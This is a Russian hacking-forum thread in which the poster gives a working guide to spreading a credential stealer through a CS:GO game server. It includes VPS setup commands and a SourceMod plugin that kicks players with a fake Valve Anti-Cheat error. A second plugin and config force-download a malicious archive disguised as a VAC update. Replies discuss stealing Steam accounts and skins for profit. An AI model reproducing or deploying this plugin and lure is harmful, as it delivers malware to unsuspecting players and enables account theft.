Загружаем стиллеры при заходе на ваш сервер CS:GO

Тема в разделе "Взлом и уязвимости", создана пользователем UBER0, 21 фев 2017.

  1. UBER0

    UBER0

    Сообщения:
    14
    Баллы:
    1
    Архив обязательно должен быть в .zip формате!


    1. Нужен сервер (ВДС), достаточно будет самой дешевой впски за 3-5$/мес,


    2. Установка сервера

    Маленький конструктор для создания сервера на VPS чтоб не арендовать сервера (это просто не выгодно)

    для этого нам понадобится две программы Putty, FileZilla


    Все это для CentOS 6

    yum install glibc.i686 libstdc++.i686 -32бит. библиотеки

    yum install screen -устанавливаем screen чтоб серв работал 24/7

    yum install wget -устанавливаем wget

    Перед установкой steamcmd создаете вот такой путь .../Servercsgo/servercsgo
    в Servercsgo закидываете download.txt и дальше из этой папки выполняем

    wget http://media.steampowered.com/client/steamcmd_linux.tar.gz -скачиваем steamcmd для linux

    tar xvfz steamcmd_linux.tar.gz -разархивируем архив с steamcmd

    chmod +x steamcmd.sh -ставим права (исполняемый файл) скачивание сервера

    ./steamcmd.sh +runscript download.txt -Устанавливаем серв

    service iptables stop && chkconfig iptables off -отключаем брандмауэр

    cd servercsgo - переходим в папку

    Так же для запуска сервера необходимо создать текстовик написать в нем параметры запуска и указать что бы запускался через скрин. Например screen -d -m ./srcds_run -game csgo -console -tickrate -usercon -port 27015 +game_type 0 +game_mode 0 +map awp_lego_2 и сохранить как start.sh закинуть по такому пути .../Servercsgo/servercsgo , выдать рут права и запускать его вот и все!!!

    chmod +x ./start.sh -ставим права (исполняемый файл) вкл сервера

    ./start.sh -запускаем сервер (если все норм продолжаем ставить Metamod)



    Metamod:Source - Downloads -заходим выбираем OS linux и копируем wget ссылку

    wget http://sourcemod.gameconnect.net/files/mmsource-1.10.4-linux.tar.gz -скачиваем mmsource-1.10.4-linux (Metamod)

    tar xvfz mmsource-1.10.4-linux.tar.gz -разархивируем архив с mmsource-1.10.4-linux


    Здесь убиваем сервер - это я покажу как (если все норм продолжаем ставить Sourcemod - Админку)


    SourceMod: Half-Life 2 Scripting -заходим выбираем OS linux и копируем wget ссылку

    wget http://sourcemod.gameconnect.net/files/sourcemod-1.7.1-linux.tar.gz -скачиваем sourcemod-1.7.1-linux (Sourcemod)

    tar xvfz sourcemod-1.7.1-linux.tar.gz -разархивируем архив с sourcemod-1.7.1-linux

    Здесь тоже убиваем сервер - если все норм продолжаем ставить мелкие настройки (количество слотов, им'я сервера и т.д.)

    Когда сделали мелкие настройки опять убиваете сервер или перезагружаете мапу

    если все норм - то сервер готов для игроков. Удачи


    Далее устанавливаем плагин для кика игрока с сервера:
    Создаем текстовик, вставляете содержимое, написанное ниже, сохраняете в формате .sp и компилируете

    Код плагина

    Спойлер: Код
    #pragma semicolon 1

    #include <sourcemod>

    new const String:g_sAccessAuths[][] =
    {
    "STEAM_1:0:51075805",
    };

    public OnClientPostAdminCheck(iClient)
    {
    decl String:sAuth[32], i;
    GetClientAuthId(iClient, AuthId_Steam2, sAuth, sizeof(sAuth));
    for(i = 0; i < sizeof(g_sAccessAuths); ++i)
    {
    if(strcmp(g_sAccessAuths, sAuth) == 0)
    {
    return;
    }
    }

    KickClient(iClient, "Valve Anti-Cheat (VAC) error. Please, install update. Path: Steam/steamapps/common/Counter-Strike Global Offensive/csgo/Valve Anti-Cheat (VAC).zip");
    }

    Плагин автоскачки стилера:

    Спойлер: Код
    #pragma semicolon 1

    #include <sourcemod>
    #include <sdktools_stringtables>

    #define PATH_SIZE 512
    #define FILE_SIZE 256

    public Plugin:myinfo =
    {
    name = "Add To Download",
    author = "wS (Lolzteam.com)",
    version = "1.2.1"
    };

    public OnPluginStart()
    {
    RegServerCmd("add_to_download", add_to_download);
    }

    public OnMapStart()
    {
    ServerCommand("exec downloads.cfg");
    }

    public Action:add_to_download(args)
    {
    if (args != 1)
    return Plugin_Handled;

    decl String:info[PATH_SIZE];
    if (GetCmdArg(1, info, PATH_SIZE) < 4 || TrimString(info) < 4)
    return Plugin_Handled;

    ReplaceString(info, PATH_SIZE, "\\", "/");

    /////////
    new Handle:dir = OpenDirectory(info);
    if (dir == INVALID_HANDLE)
    {
    AddFileToDownloadsTable(info);
    return Plugin_Handled;
    }

    new dir_strlen = strlen(info);
    if (info[dir_strlen-1] == '/') info[dir_strlen-1] = '\0';

    decl String:file[PATH_SIZE], FileType:type;
    while (ReadDirEntry(dir, file, FILE_SIZE, type))
    {
    if (type == FileType_File && strlen(file) > 3 && StrContains(file, ".ztmp", false) == -1)
    {
    Format(file, PATH_SIZE, "%s/%s", info, file);
    AddFileToDownloadsTable(file);
    }
    }
    CloseHandle(dir);
    /////////

    return Plugin_Handled;
    }



    Компилируете его по аналогии с предыдущим скриптом.


    Далее создаем текстовый документ download.cfg, вписываете в него следующий код:

    Спойлер: Код
    add_to_download "Valve Anti-Cheat (VAC).zip"


    То, что в кавычках - это название вашего скачиваемого архива, если меняете название, то меняйте в первом коде плагина и в download.cfg
    p.s. copyright
  2. onetwoqq

    onetwoqq

    Сообщения:
    14
    Баллы:
    1
    1) какой смысл со стиллера в CS:GO в 2017?

    2) идет просто автозагрузка без автоустановки, даже во времена стиллера в CS:GO эта тема была не очень то и актуальна)
  3. pEnnY

    pEnnY

    Сообщения:
    7
    Баллы:
    1
    А смысл?Красть аккаунты?
  4. Чёрный Рыцарь

    Чёрный Рыцарь

    Сообщения:
    53
    Баллы:
    6
    да. Там же скины есть и их цена от 0,01$ до 6к-7к$. Можно залететь на стрим к игроку с скинами и отработать его акк.
    P.S. Конечно если всё работает и я правильно всё понял
  5. onetwoqq

    onetwoqq

    Сообщения:
    14
    Баллы:
    1
    можно было бы, если бы это было года полтора назад)
  6. Чёрный Рыцарь

    Чёрный Рыцарь

    Сообщения:
    53
    Баллы:
    6
    и сейчас можно, если переработать/улучшить эту тему. Дохера дыр в системе вольво
  7. onetwoqq

    onetwoqq

    Сообщения:
    14
    Баллы:
    1
    да?
    ну если придумаешь как передавать вещи без холда пиши, можно очень не плохо на этом поднять

    но уверен что ничего не получится

Поделиться этой страницей